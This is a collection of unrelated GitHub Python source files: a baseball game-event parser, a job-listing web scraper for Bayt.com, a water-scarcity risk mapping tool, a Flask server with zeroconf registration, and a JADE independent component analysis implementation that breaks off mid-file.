{"seq_id":"5379336253","text":"#!/usr/bin/env python\n\n\"\"\"Module that is used for getting the events \nthat occured throughout games.\n\"\"\"\n\nimport mlbgame.data\n\nimport lxml.etree as etree\n\ndef game_events(game_id):\n    \"\"\"Return dictionary of events for a game with matching id.\"\"\"\n    # get data from data module\n    data = mlbgame.data.get_game_events(game_id)\n    # parse XML\n    parsed = etree.parse(data)\n    root = parsed.getroot()\n    # empty output file\n    output = {}\n    # loop through innings\n    innings = root.findall('inning')\n    for x in innings:\n        # top info\n        topinfo = []\n        # loop through the top half\n        top = x.findall('top')[0]\n        for y in top.findall('atbat'):\n            atbat = {}\n            # loop through and save info\n            for i in y.attrib:\n                atbat[i] = y.attrib[i]\n            atbat['pitches'] = []\n            for i in y.findall('pitch'):\n                pitch = {}\n                # loop through pitch info\n                for n in i.attrib:\n                    pitch[n] = i.attrib[n]\n                atbat['pitches'].append(pitch)\n            topinfo.append(atbat)\n        # bottom info\n        botinfo = []\n        # loop through the bottom half\n        bot = x.findall('bottom')[0]\n        for y in bot.findall('atbat'):\n            atbat = {}\n            # loop through and save info\n            for i in y.attrib:\n                atbat[i] = y.attrib[i]\n            atbat['pitches'] = []\n            for i in y.findall('pitch'):\n                pitch = {}\n                # loop through pitch info\n                for n in i.attrib:\n                    pitch[n] = i.attrib[n]\n                atbat['pitches'].append(pitch)\n            botinfo.append(atbat)\n        output[x.attrib['num']] = {'top': topinfo, 'bottom': botinfo}\n    return output\n\nclass AtBat(object):\n    \"\"\"Class that holds information about at bats in games.\n    \n    Properties: \n    \n    - num = Number of at bat in game\n    - b = balls (at end of at bat or currently if live)\n    - s = strikes (at end of at bat or currently if live)\n    - o = outs (at end of at bat)\n    - batter = batter id number\n    - pitcher = pitcher id number\n    - des = description of at bat\n    - event_num = number that corresponds to type of event\n    - event = name of event\n    - home_team_runs = home team runs (at end of at bat)\n    - away_team_runs = away team runs (at end of at bat)\n    - pitches = list of pitches during at bat\n    - b1\n    - b2\n    - b3\n    \"\"\"\n    \n    def __init__(self, data):\n        \"\"\"Creates an event object that matches the corresponding info in `data`.\n        \n        `data` should be an dictionary of values.\n        \"\"\"\n        # loop through data\n        for x in data:\n            # remove spanish info (causes text encoding errors)\n            if '_es' in x:\n                continue\n            # create pitches list if attribute name is pitches\n            if x == 'pitches':\n                self.pitches = []\n                for y in data[x]:\n                    self.pitches.append(Pitch(y))\n                continue\n            # set information as correct data type\n            try:\n                setattr(self, x, int(data[x]))\n            except ValueError:\n                try:\n                    setattr(self, x, float(data[x]))\n                except ValueError:\n                    # string if not number\n                    setattr(self, x, str(data[x]))\n    \n    def nice_output(self):\n        \"\"\"Prints basic event info in a nice way.\"\"\"\n        return self.des\n    \n    def __str__(self):\n        return self.nice_output()\n\nclass Pitch(object):\n    \"\"\"Class that holds information about individual pitches.\n    \n    Properties of pitches are wildly inconsistent, \n    sometimes they have a value, sometimes they don't.\n    Properties:\n    \n    - sv_id\n    - des = description of pitch outcome\n    - type = ball (B), strike (S), or in play (X)\n    - start_speed = pitch speed\n    - pitch_type = type of pitch (fastball, curve, etc.)\n    \"\"\"\n    \n    def __init__(self, data):\n        \"\"\"Creates a pitch object that matches the corresponding info in `data`.\n        \n        `data` should be an dictionary of values.\n        \"\"\"\n        # loop through data\n        for x in data:\n            # remove spanish info (causes text encoding errors)\n            if '_es' in x:\n                continue\n            # set information as correct data type\n            try:\n                setattr(self, x, int(data[x]))\n            except ValueError:\n                try:\n                    setattr(self, x, float(data[x]))\n                except ValueError:\n                    # string if not number\n                    setattr(self, x, str(data[x]))\n    \n    def nice_output(self):\n        \"\"\"Prints basic event info in a nice way.\"\"\"\n        return \"Pitch: %s at %s: %s\" % (self.pitch_type, self.start_speed, self.des)\n    \n    def __str__(self):\n        return self.nice_output()\n","repo_name":"seajoshc/mlb_game_info","sub_path":"src/mlbgame/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":4939,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"17354312500","text":"import os.path\nimport requests\nimport csv\nimport time\nfrom bs4 import BeautifulSoup\nfrom concurrent.futures import ThreadPoolExecutor\nimport asyncio\nfrom random import uniform\nfrom fake_useragent import UserAgent\n\nua = UserAgent()\n\nheaders = {\n    'User-Agent': ua.random\n}\n\nDIR_PATH = os.path.abspath(os.path.dirname(__file__))\nfolder_name = \"_Output\"\nfile_name = 'all_job_data.csv'\n\n\ndef fetch_job_ids(url, max_pages=2):\n    try:\n        all_job_ids = []\n        page = 1\n\n        while page <= max_pages:\n            response = goto_next_page(url, page)\n\n            if response is not None:\n                soup = BeautifulSoup(response, 'html.parser')\n                job_elements = soup.find_all('li', class_='has-pointer-d')\n                if not job_elements:\n                    print(\"No job IDs found.\")\n                    break  # No more job IDs to fetch\n                for job_element in job_elements:\n                    job_id = job_element.get(\"data-job-id\")\n                    if job_id:\n                        all_job_ids.append(job_id)\n\n                page += 1\n                time.sleep(uniform(1, 2))  # Add a random delay (1-2 seconds) to avoid overloading the website\n            else:\n                print(f\"Failed to fetch data from the next page. Exiting the loop.\")\n                break\n\n        return all_job_ids\n\n    except Exception as e:\n        print(f\"Error occurred: {str(e)}\")\n        return []\n\n\ndef goto_next_page(url, page, retries=3, backoff_factor=2):\n    try:\n        headers['User-Agent'] = ua.random  # Rotate user-agent\n        response = requests.get(url + f'?page={page}', headers=headers, timeout=30)  # Increase timeout to 30 seconds\n\n        if response.status_code == 200:\n            return response.content\n        elif response.status_code == 429 and retries > 0:\n            retry_after = int(response.headers.get('Retry-After', 5))\n            print(f\"Rate limited. Retrying after {retry_after} seconds...\")\n            time.sleep(retry_after)\n            return goto_next_page(url, page, retries - 1, backoff_factor * 2)\n\n        print(f\"Failed to retrieve data from {url} (Page: {page}). Status code: {response.status_code}\")\n        return None\n\n    except requests.Timeout:\n        print(f\"Request timed out while fetching data from {url} (Page: {page}).\")\n        return None\n\n    except Exception as e:\n        print(f\"Error occurred while fetching data from {url} (Page: {page}). {str(e)}\")\n        return None\n\n\ndef fetch_data_for_job_id(job_id, retries=3, backoff_factor=2):\n    try:\n        headers['User-Agent'] = ua.random  # Rotate user-agent\n        url = f'https://www.bayt.com/en/job/{job_id}/'\n        with requests.Session() as session:\n            response = session.get(url, headers=headers)\n\n        if response.status_code == 200:\n            soup = BeautifulSoup(response.content, 'html.parser')\n            details_desc_mapping = {'Job ID': job_id}\n\n            job_elements = soup.find_all('dl', class_='dlist is-spaced is-fitted t-small')\n\n            for job_element in job_elements:\n                job_attributes = job_element.find_all('dt')\n                job_desc = job_element.find_all('dd')\n\n                for title, data in zip(job_attributes, job_desc):\n                    title_name = title.text.strip()\n                    data_text = data.text.strip()\n                    details_desc_mapping[title_name] = data_text\n\n            return details_desc_mapping\n        elif response.status_code == 429 and retries > 0:\n            retry_after = int(response.headers.get('Retry-After', 5))\n            print(f\"Rate limited. Retrying after {retry_after} seconds...\")\n            time.sleep(retry_after)\n            return fetch_data_for_job_id(job_id, retries - 1, backoff_factor * 2)\n\n        print(f\"Failed to retrieve data for Job ID: {job_id}. Status code: {response.status_code}\")\n        return {}\n\n    except Exception as e:\n        print(f\"Error occurred while fetching data for Job ID: {job_id}. {str(e)}\")\n        return {}\n\n\ndef save_to_csv(all_data, csv_filename):\n    try:\n        with open(csv_filename, 'w', newline='', encoding='utf-8') as csvfile:\n            fieldnames = list(all_data[0].keys())\n            writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n            writer.writeheader()\n            writer.writerows(all_data)\n        print(f\"Data has been successfully saved to '{csv_filename}'.\")\n\n    except Exception as e:\n        print(f\"Error occurred while saving to CSV: {str(e)}\")\n\n\nasync def main():\n    url = 'https://www.bayt.com/en/saudi-arabia/jobs/'\n    job_ids = fetch_job_ids(url)\n\n    if job_ids:\n        all_data = []\n        field_names = set()  # Set to store all unique field names\n\n        with ThreadPoolExecutor() as executor:\n            loop = asyncio.get_event_loop()\n            futures = [loop.run_in_executor(executor, fetch_data_for_job_id, job_id) for job_id in job_ids]\n\n            for result in await asyncio.gather(*futures):\n                all_data.append(result)\n                field_names.update(result.keys())  # Update field names set\n\n        # Add missing fields with empty values to all_data\n        for details_desc_mapping in all_data:\n            for field_name in field_names:\n                if field_name not in details_desc_mapping:\n                    details_desc_mapping[field_name] = ''\n\n        folder_name = \"_Output\"\n        path = os.path.join(DIR_PATH, folder_name)\n        try:\n            os.mkdir(path)\n        except OSError as error:\n            print(error)\n\n        csv_filename = \"all_job_data.csv\"\n        save_to_csv(all_data, os.path.join(path, csv_filename))\n    else:\n        print(\"No job IDs found.\")\n\n\nif __name__ == '__main__':\n    asyncio.run(main())\n","repo_name":"KHemanth2001/saudi-arabia_jobs","sub_path":"job_newcode.py","file_name":"job_newcode.py","file_ext":"py","file_size_in_byte":5763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17497993498","text":"from collections import defaultdict\nfrom contextlib import contextmanager\nimport csv\nfrom itertools import tee\nimport json\nimport math\nimport os\nimport tempfile\nimport time\n\nimport folium\nimport joblib\nfrom selenium import webdriver\nfrom shapely.geometry import shape, Point\n\nSEASONS = [\"winter\", \"spring\", \"summer\", \"autumn\"]\n\n\n@contextmanager\ndef _tmp_html(data):\n    \"\"\"Yields the path of a temporary HTML file containing data.\"\"\"\n    filepath = ''\n    try:\n        fid, filepath = tempfile.mkstemp(suffix=\".html\", prefix=\"folium_\")\n        os.write(fid, data.encode(\"utf8\"))\n        os.close(fid)\n        yield filepath\n    finally:\n        if os.path.isfile(filepath):\n            os.remove(filepath)\n\n\ndef dump_geojson(data, path, **dump_kwargs):\n    with open(path, \"w\") as f:\n        json.dump(data, f, separators=(\",\", \":\"), **dump_kwargs)\n\n\ndef _is_point_in_multigon(point, polygons):\n    for polygon in polygons:\n        if polygon.contains(point):\n            return True\n    return False\n\n\ndef _parse_sswi_row(row, karst_polygons):\n    try:\n        point, lat, lng, _, horizon, season, sswi, _ = row\n    except ValueError:\n        return\n    if point.startswith(\"#\"):\n        return\n\n    season = SEASONS[int(season) - 1]\n    lat = float(lat)\n    lng = float(lng)\n    sswi = float(sswi)\n\n    in_karst = _is_point_in_multigon(Point(lng, lat), karst_polygons)\n    risk_level = 0\n    if sswi < -1.4 and in_karst:\n        risk_level = 3\n    elif sswi < -1.4 and not in_karst:\n        risk_level = 2\n    elif sswi < -0.7:\n        risk_level = 1\n\n    return (horizon, season, {\n        \"type\": \"Feature\",\n        \"geometry\": {\n            \"type\": \"Point\",\n            \"coordinates\": [lng, lat],\n        },\n        \"properties\": {\n            \"riskLevel\": risk_level,\n            \"sswi\": sswi,\n            \"inKarst\": in_karst,\n        }\n    })\n\n\ndef compute_risks(sswi_file, karst_file, n_jobs=-1, batch_size=\"auto\", verbose=50, logger=None):\n    if logger is not None:\n        logger.info(\"Loading data...\")\n        sswi_file, sswi_file2 = tee(sswi_file)\n        logger.info(\"Number of points:\", sum(1 for line in sswi_file2))\n\n    sswi_reader = csv.reader(sswi_file, delimiter=\";\")\n    karst_polygons = []\n    for feature in json.load(karst_file)[\"features\"]:\n        karst_polygons.append(shape(feature[\"geometry\"]).buffer(0))\n\n    if logger is not None:\n        logger.info(\"Number of karstic polygons:\", len(karst_polygons))\n        logger.info(\"Parsing data...\")\n\n    points = joblib.Parallel(\n        n_jobs=n_jobs,\n        verbose=verbose,\n        backend=\"multiprocessing\",\n        batch_size=batch_size,\n    )(\n        joblib.delayed(_parse_sswi_row)(row, karst_polygons)\n        for row in sswi_reader\n    )\n\n    min_sswi = math.inf\n    max_sswi = -math.inf\n    features = defaultdict(  # Horizon\n        lambda: defaultdict(list)  # Season\n    )\n    for point in points:\n        if point is None:\n            continue\n        h, s, p = point\n        features[h][s].append(p)\n        min_sswi = min(p[\"properties\"][\"sswi\"], min_sswi)\n        max_sswi = max(p[\"properties\"][\"sswi\"], max_sswi)\n\n    geojson = defaultdict(dict)\n    for horizon, horizon_data in features.items():\n        horizon_points = defaultdict(list)\n        for season, points in horizon_data.items():\n            geojson[horizon][season] = {\n                \"type\": \"FeatureCollection\",\n                \"features\": points,\n            }\n            for p in points:\n                horizon_points[tuple(p[\"geometry\"][\"coordinates\"])].append(p)\n\n        worst_horizon_points = []\n        best_horizon_points = []\n        for coords, points in horizon_points.items():\n            if len(points) != len(horizon_data): # Not all seasons have this point\n                continue\n            worst_p = best_p = None\n            for p in points:\n                risk = p[\"properties\"][\"riskLevel\"]\n                if worst_p is None or risk > worst_p[\"properties\"][\"riskLevel\"]:\n                    worst_p = p\n                if best_p is None or risk < best_p[\"properties\"][\"riskLevel\"]:\n                    best_p = p\n            worst_horizon_points.append(worst_p)\n            best_horizon_points.append(best_p)\n\n        geojson[horizon][\"more_risky\"] = {\n            \"type\": \"FeatureCollection\",\n            \"features\": worst_horizon_points,\n        }\n        geojson[horizon][\"less_risky\"] = {\n            \"type\": \"FeatureCollection\",\n            \"features\": best_horizon_points,\n        }\n\n    metadata = {\n        \"sswi\": dict(min=min_sswi, max=max_sswi),\n        \"riskLevels\": [\n            \"\",\n            \"Limitations de tous les prélèvements d'eau\",\n            \"Interdiction d'utiliser l'eau pour des usages non prioritaires\",\n            \"Menaces de pénuries en eau potable\"\n        ],\n    }\n\n    return geojson, metadata\n\n\ndef filter_karst_by_type(f, type_=1, logger=None):\n    if logger is not None:\n        logger.info(\"Loading karst data\")\n    data = json.load(f)\n\n    if logger is not None:\n        logger.info(\"Filtering karst data\")\n    features = []\n    for feature in data[\"features\"]:\n        if feature[\"properties\"][\"TypeZK\"] == type_:\n            features.append(feature)\n\n    data[\"features\"] = features\n    return data\n\n\ndef display(risk, colorscale, karst=None, map_location=[46.2, 2.4], map_zoom=5, width=350, height=350, **map_kwargs):\n    m = folium.Map(\n        location=map_location,\n        zoom_start=map_zoom,\n        width=width,\n        height=height,\n        prefer_canvas=True,\n        **map_kwargs\n    )\n\n    risk_layer = folium.FeatureGroup(name=\"Risk\")\n    for p in risk[\"features\"]:\n        color = colorscale[p[\"properties\"][\"riskLevel\"]]\n        lng, lat = p[\"geometry\"][\"coordinates\"]\n        folium.CircleMarker(\n            location=[lat, lng],\n            radius=0.5,\n            fill=True,\n            fill_color=color,\n            color=color,\n        ).add_to(risk_layer)\n    risk_layer.add_to(m)\n\n    if karst is not None:\n        folium.GeoJson(karst, name=\"Karst\").add_to(m)\n        folium.LayerControl().add_to(m)\n\n    return m\n\n\ndef map_to_png(m, path, delay=3):\n    # https://github.com/python-visualization/folium/blob/master/folium/folium.py#L296\n    # geckodriver must be installed:\n    # https://selenium-python.readthedocs.io/installation.html#drivers\n    options = webdriver.firefox.options.Options()\n    options.add_argument(\"--headless\")\n    driver = webdriver.Firefox(options=options)\n    html = m.get_root().render()\n    with _tmp_html(html) as fname:\n        # We need the tempfile to avoid JS security issues.\n        driver.get(\"file:///{path}\".format(path=fname))\n        driver.maximize_window()\n        time.sleep(delay)\n        el = driver.find_elements_by_class_name(\"folium-map\")[0]\n        el.screenshot(path)\n        driver.quit()\n","repo_name":"secheresses/water-scarcity","sub_path":"water_scarcity/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22099676933","text":"import uuid\nimport socket\nfrom flask import Flask\nfrom config import config\nfrom managerLib.sheduler import BackgroundManager\nfrom zeroconf import Zeroconf, ServiceInfo\n\n# Routes\nfrom routes import attendeces, classroom, recog\n\napp = Flask(__name__)\n\n\ndef page_not_found(error):\n    return \"<h1>URL Not found</h1>\", 404\n\n\nip_address = socket.gethostbyname(socket.gethostname()+\".local\")\ninfo = ServiceInfo(\n    \"_http._tcp.local.\",\n    \"flaskServer\" + str(uuid.uuid4()) + \"._http._tcp.local.\",\n    addresses=[socket.inet_aton(ip_address)],\n    port=5001,\n)\n\nzeroconf = Zeroconf()\nzeroconf.register_service(info)\n\nif __name__ == '__main__':\n    bSheduler = BackgroundManager()\n    app.config.from_object(config['development'])\n\n    # Blueprints\n    app.register_blueprint(attendeces.main, url_prefix='/attendece')\n    app.register_blueprint(classroom.main, url_prefix='/classroom')\n    app.register_blueprint(recog.main, url_prefix='/recog')\n\n    # Error handlers\n    app.register_error_handler(404, page_not_found)\n    app.run(host=\"0.0.0.0\", port=5000, use_reloader=False)\n","repo_name":"martin22ca/flask_server","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14994453538","text":"from __future__ import annotations\n\nimport logging\nfrom itertools import combinations\nfrom typing import Any\nfrom typing import Optional\n\nimport numpy as np\nfrom nptyping import Float\nfrom nptyping import NDArray\nfrom scipy import linalg\nfrom sklearn.base import BaseEstimator\nfrom sklearn.base import TransformerMixin\nfrom sklearn.utils.validation import check_array\nfrom sklearn.utils.validation import check_is_fitted\n\nlogger = logging.getLogger(__name__)\n\n\ndef _jade(\n    arr: NDArray[(Any, ...), Float], n_components: int = 1\n) -> NDArray[(Any, ...), Float]:\n    \"\"\"Blind separation of real signals with JADE.\n\n    jadeR implements JADE, an Independent Component Analysis (ICA) algorithm developed\n    by Jean-Francois Cardoso. See http://www.tsi.enst.fr/~cardoso/guidesepsou.html, and\n    papers cited at the end of the source file.\n\n    Translated into NumPy from the original Matlab Version 1.8 (May 2005) by Gabriel\n    Beckers, http://gbeckers.nl .\n\n    Parameters\n    ----------\n    arr : NDArray\n        a data matrix (n_features, n_samples)\n    n_components : int\n        output matrix B has size mxn so that only m sources are extracted.  This is done\n        by restricting the operation of jadeR to the m first principal components.\n        Defaults to None, in which case :math:`m = n`.\n\n    Returns\n    -------\n    NDArray\n        An m*n matrix B (NumPy matrix type), such that Y=B*X are separated sources\n        extracted from the n*T data matrix X. If m is omitted, B is a square n*n matrix\n        (as many sources as sensors). The rows of B are ordered such that the columns of\n        :math:`pinv(B)` are in order of decreasing norm; this has the effect that the\n        `most energetically significant` components appear first in the rows of\n        :math:`Y = B * X`.\n\n    Notes\n    -----\n    Quick notes (more at the end of this file):\n\n    - This code is for REAL-valued signals.  A MATLAB implementation of JADE for both\n      real and complex signals is also available from\n      http://sig.enst.fr/~cardoso/stuff.html\n\n    - This algorithm differs from the first released implementations of JADE in that it\n      has been optimized to deal more efficiently\n        1) with real signals (as opposed to complex)\n        2) with the case when the ICA model does not necessarily hold.\n\n    - There is a practical limit to the number of independent components that can be\n      extracted with this implementation.  Note that the first step of JADE amounts to a\n      PCA with dimensionality reduction from `n` to `m` (which defaults to n).  In\n      practice m cannot be *very large* (more than 40, 50, 60... depending on available\n      memory)\n\n    - See more notes, references and revision history at the end of this file and more\n      stuff at http://sig.enst.fr/~cardoso/stuff.html\n\n    - For more info on NumPy translation, see the end of this file.\n\n    - This code is supposed to do a good job!  Please report any problem relating to\n      the NumPY code gabriel@gbeckers.nl\n\n    Copyright original Matlab code : Jean-Francois Cardoso <cardoso@sig.enst.fr>\n    Copyright Numpy translation : Gabriel Beckers <gabriel@gbeckers.nl>\n    \"\"\"\n    logger.info(\"jade -> Looking for %d sources\", n_components)\n    logger.info(\"jade -> Removing the mean value\")\n    n_samples, _ = arr.shape\n    arr -= arr.mean(axis=0)\n\n    # whitening & projection onto signal subspace\n    # ===========================================\n    logger.info(\"jade -> Whitening the data\")\n\n    # --- PCA  ----------------------------------------------------------\n    u, s, vh = linalg.svd(arr, full_matrices=False)\n    u, s, vh = u[:, :n_components], s[:n_components], vh[:n_components]\n    B = linalg.inv(np.diag(s)) @ vh * np.sqrt(n_samples)\n    arr = u * np.sqrt(n_samples)\n\n    del u, s, vh\n    # NOTE: At this stage, X is a PCA analysis in m components of the real data, except\n    # that all its entries now have unit variance.  Any further rotation of X will\n    # preserve the property that X is a vector of uncorrelated components.  It remains\n    # to find the rotation matrix such that the entries of X are not only uncorrelated\n    # but also `as independent as possible\".  This independence is measured by\n    # correlations of order higher than 2.  We have defined such a measure of\n    # independence which\n    #   1) is a reasonable approximation of the mutual information\n    #   2) can be optimized by a `fast algorithm\"\n    # This measure of independence also corresponds to the `diagonality\" of a set of\n    # cumulant matrices.  The code below finds the `missing rotation \" as the matrix\n    # which best diagonalizes a particular set of cumulant matrices.\n\n    # Estimation of the cumulant matrices.\n    # ====================================\n    logger.info(\"jade -> Estimating cumulant matrices\")\n\n    # Dim. of the space of real symm matrices\n    dimsymm = n_components * (n_components + 1) // 2\n    nbcm = dimsymm  # number of cumulant matrices\n    # Storage for cumulant matrices\n    CM = np.zeros((n_components, n_components * nbcm))\n    R = np.eye(n_components)\n\n    # I am using a symmetry trick to save storage.  I should write a short note one of\n    # these days explaining what is going on here.\n    # will index the columns of CM where to store the cum. mats.\n    Range = np.arange(n_components)\n    sqrt2 = np.sqrt(2)\n\n    for im in range(n_components):\n        Xim = np.c_[arr[:, im]]\n        Xijm = Xim ** 2\n        # Note to myself: the -R on next line can be removed: it does not affect\n        # the joint diagonalization criterion\n        Rim = np.c_[R[:, im]]\n        CM[:, Range] = (Xijm * arr).T @ arr / n_samples - R - 2 * (Rim @ Rim.T)\n        Range += n_components\n        for jm in range(im):\n            Xijm = Xim * np.c_[arr[:, jm]]\n            Rjm = np.c_[R[:, jm]]\n            CM[:, Range] = (\n                sqrt2 * (Xijm * arr).T @ arr / n_samples - Rim @ Rjm.T - Rjm @ Rim.T\n            )\n            Range = Range + n_components\n\n    # Now we have nbcm = m(m+1)/2 cumulants matrices stored in a big m x m*nbcm array.\n\n    V = np.eye(n_components)\n\n    On = np.zeros(CM.shape[0])\n    Range = np.arange(n_components)\n    for _ in range(nbcm):\n        diag = np.diag(CM[:, Range])\n        On += np.sum(diag ** 2, axis=0)\n        Range += n_components\n    Off = np.sum(CM ** 2) - On\n\n    # % A statistically scaled threshold on `small\" angles\n    seuil = 1e-6 / np.sqrt(n_samples)\n    encore = True\n    sweep = 0  # % sweep number\n    updates = 0  # % Total number of rotations\n\n    # Joint diagonalization proper\n    logger.info(\"jade -> Contrast optimization by joint diagonalization\")\n\n    counters = list(combinations(range(n_components), 2))\n    while encore:\n        encore = False\n        logger.info(\"jade -> Sweep #%3d\", sweep)\n        sweep += 1\n        upds = 0  # % Number of rotations in a given seep\n\n        for p, q in counters:\n            Ip = np.arange(p, n_components * nbcm, n_components)\n            Iq = np.arange(q, n_components * nbcm, n_components)\n\n            # computation of Givens angle\n            g = np.c_[[CM[p, Ip] - CM[q, Iq], CM[p, Iq] + CM[q, Ip]]]\n            gg = g @ g.T\n            ton = gg[0, 0] - gg[1, 1]\n            toff = gg[0, 1] + gg[1, 0]\n            theta = 0.5 * np.arctan2(toff, ton + np.sqrt(ton * ton + toff * toff))\n            Gain = (np.sqrt(ton * ton + toff * toff) - ton) / 4.0\n\n            # Givens update\n            if abs(theta) > seuil:\n                encore = True\n                upds += 1\n                c = np.cos(theta)\n                s = np.sin(theta)\n                G = np.array([[c, -s], [s, c]])\n                pair = np.array([p, q])\n                V[:, pair] = V[:, pair] @ G\n                CM[pair, :] = G.T @ CM[pair, :]\n                cIp = np.c_[CM[:, Ip]]\n                cIq = np.c_[CM[:, Iq]]\n                CM[:, np.r_[Ip, Iq]] = np.c_[c * cIp + s * cIq, -s * cIp + c * cIq]\n                On += Gain\n                Off -= Gain\n\n        logger.info(\"completed in %d rotations\", upds)\n        updates = updates + upds\n    logger.info(\"jade -> Total of %d Givens rotations\", updates)\n\n    # A separating matrix\n    # ===================\n    B = V.T @ B\n\n    # Permute the rows of the separating matrix B to get the most energetic components\n    # first. Here the **signals** are normalized to unit variance.  Therefore, the sort\n    # is according to the norm of the columns of A = pinv(B)\n\n    logger.info(\"jade -> Sorting the components\")\n\n    A = linalg.pinv(B)\n    keys = np.argsort((A * A).sum(axis=0))[::-1]\n    B = B[keys, :]\n\n    logger.info(\"jade -> Fixing the signs\")\n    b = B[:, 0]\n    signs = np.sign(np.sign(b) + 0.1)  # just a trick to deal with sign=0\n    B = np.diag(signs) @ B\n\n    return B\n\n    # Revision history of MATLAB code:\n    #\n    # - V1.8, May 2005\n    #  - Added some commented code to explain the cumulant computation tricks.\n    #  - Added reference to the Neural Comp. paper.\n    #\n    # -  V1.7, Nov. 16, 2002\n    #   - Reverted the mean removal code to an earlier version (not using\n    #     repmat) to keep the code octave-compatible.  Now less efficient,\n    #     but does not make any significant difference wrt the total\n    #     computing cost.\n    #   - Remove some cruft (some debugging figures were created.  What\n    #     was this stuff doing there???)\n    #\n    #\n    # -  V1.6, Feb. 24, 1997\n    #   - Mean removal is better implemented.\n    #   - Transposing X before computing the cumulants: small speed-up\n    #   - Still more comments to emphasize the relationship to PCA\n    #\n    # -  V1.5, Dec. 24 1997\n    #   - The sign of each row of B is determined by letting the first element be\n    #     positive.\n    #\n    # -  V1.4, Dec. 23 1997\n    #   - Minor clean up.\n    #   - Added a verbose switch\n    #   - Added the sorting of the rows of B in order to fix in some reasonable way the\n    #     permutation indetermination.  See note 2) below.\n    #\n    # -  V1.3, Nov.  2 1997\n    #   - Some clean up.  Released in the public domain.\n    #\n    # -  V1.2, Oct.  5 1997\n    #   - Changed random picking of the cumulant matrix used for initialization to a\n    #     deterministic choice.  This is not because of a better rationale but to make\n    #     the ouput (almost surely) deterministic.\n    #   - Rewrote the joint diag. to take more advantage of Matlab\"s tricks.\n    #   - Created more dummy variables to combat Matlab\"s loose memory management.\n    #\n    # -  V1.1, Oct. 29 1997.\n    #    Made the estimation of the cumulant matrices more regular. This also corrects a\n    #    buglet...\n    #\n    # -  V1.0, Sept. 9 1997. Created.\n    #\n    # Main references:\n    # @article{CS-iee-94,\n    #  title \t= \"Blind beamforming for non {G}aussian signals\",\n    #  author       = \"Jean-Fran\\c{c}ois Cardoso and Antoine Souloumiac\",\n    #  HTML \t= \"ftp://sig.enst.fr/pub/jfc/Papers/iee.ps.gz\",\n    #  journal      = \"IEE Proceedings-F\",\n    #  month = dec, number = 6, pages = {362-370}, volume = 140, year = 1993}\n    #\n    #\n    # @article{JADE:NC,\n    #  author  = \"Jean-Fran\\c{c}ois Cardoso\",\n    #  journal = \"Neural Computation\",\n    #  title   = \"High-order contrasts for independent component analysis\",\n    #  HTML    = \"http://www.tsi.enst.fr/~cardoso/Papers.PS/neuralcomp_2ppf.ps\",\n    #  year    = 1999, month =\tjan,  volume =\t 11,  number =\t 1,  pages =  \"157-192\"}\n    #\n    #\n    #  Notes:\n    #  ======\n    #\n    #  Note 1) The original Jade algorithm/code deals with complex signals in Gaussian\n    #  noise white and exploits an underlying assumption that the model of independent\n    #  components actually holds.  This is a reasonable assumption when dealing with\n    #  some narrowband signals.  In this context, one may i) seriously consider dealing\n    #  precisely with the noise in the whitening process and ii) expect to use the small\n    #  number of significant eigenmatrices to efficiently summarize all the 4th-order\n    #  information.  All this is done in the JADE algorithm.\n    #\n    #  In *this* implementation, we deal with real-valued signals and we do NOT expect\n    #  the ICA model to hold exactly.  Therefore, it is pointless to try to deal\n    #  precisely with the additive noise and it is very unlikely that the cumulant\n    #  tensor can be accurately summarized by its first n eigen-matrices.  Therefore,\n    #  we consider the joint diagonalization of the *whole* set of eigen-matrices.\n    #  However, in such a case, it is not necessary to compute the eigenmatrices at all\n    #  because one may equivalently use `parallel slices\" of the cumulant tensor.  This\n    #  part (computing the eigen-matrices) of the computation can be saved: it suffices\n    #  to jointly diagonalize a set of cumulant matrices.  Also, since we are dealing\n    #  with reals signals, it becomes easier to exploit the symmetries of the cumulants\n    #  to further reduce the number of matrices to be diagonalized. These\n    #  considerations, together with other cheap tricks lead to this version of JADE\n    #  which is optimized (again) to deal with real mixtures and to work `outside the\n    #  model'.  As the original JADE algorithm, it works by minimizing a `good set' of\n    #  cumulants.\n    #\n    #  Note 2) The rows of the separating matrix B are resorted in such a way that the\n    #  columns of the corresponding mixing matrix A=pinv(B) are in decreasing order of\n    #  (Euclidian) norm.  This is a simple, `almost canonical\" way of fixing the\n    #  indetermination of permutation.  It has the effect that the first rows of the\n    #  recovered signals (ie the first rows of B*X) correspond to the most energetic\n    #  *components*.  Recall however that the source signals in S=B*X have unit\n    #  variance.  Therefore, when we say that the observations are unmixed in order of\n    #  decreasing energy, this energetic signature is to be found as the norm of the\n    #  columns of A=pinv(B) and not as the variances of the separated source signals.\n    #\n    #  Note 3) In experiments where JADE is run as B=jadeR(X,m) with m varying in range\n    #  of values, it is nice to be able to test the stability of the decomposition.  In\n    #  order to help in such a test, the rows of B can be sorted as described above. We\n    #  have also decided to fix the sign of each row in some arbitrary but fixed way.\n    #  The convention is that the first element of each row of B is positive.\n    #\n    #  Note 4) Contrary to many other ICA algorithms, JADE (or least this version) does\n    #  not operate on the data themselves but on a statistic (the full set of 4th order\n    #  cumulant). This is represented by the matrix CM below, whose size grows as m^2 x\n    #  m^2 where m is the number of sources to be extracted (m could be much smaller\n    #  than n).  As a consequence, (this version of) JADE will probably choke on a\n    #  `large' number of sources. Here `large' depends mainly on the available memory\n    #  and could be something like 40 or so.  One of these days, I will prepare a\n    #  version of JADE taking the `data' option rather than the `statistic' option.\n\n    # Notes on translation (GB):\n    # =========================\n    #\n    # Note 1) The function jadeR is a relatively literal translation from the original\n    # MATLABcode. I haven't really looked into optimizing it for NumPy. If you have any\n    # time to look at this and good ideas, let me know.\n    #\n    # Note 2) A test module that compares NumPy output with Octave (MATLAB\n    # clone) output of the original MATLAB script is available\n\n\nclass JadeICA(TransformerMixin, BaseEstimator):\n    \"\"\"Perform blind source separation using joint diagonalization.\"\"\"\n\n    def __init__(self, *, n_components: Optional[int] = None) -> None:\n        \"\"\"Perform a blind signal separation using joint diagonalization.\n\n        Parameters\n        ----------\n        n_components : int, default=None\n            Number of signals 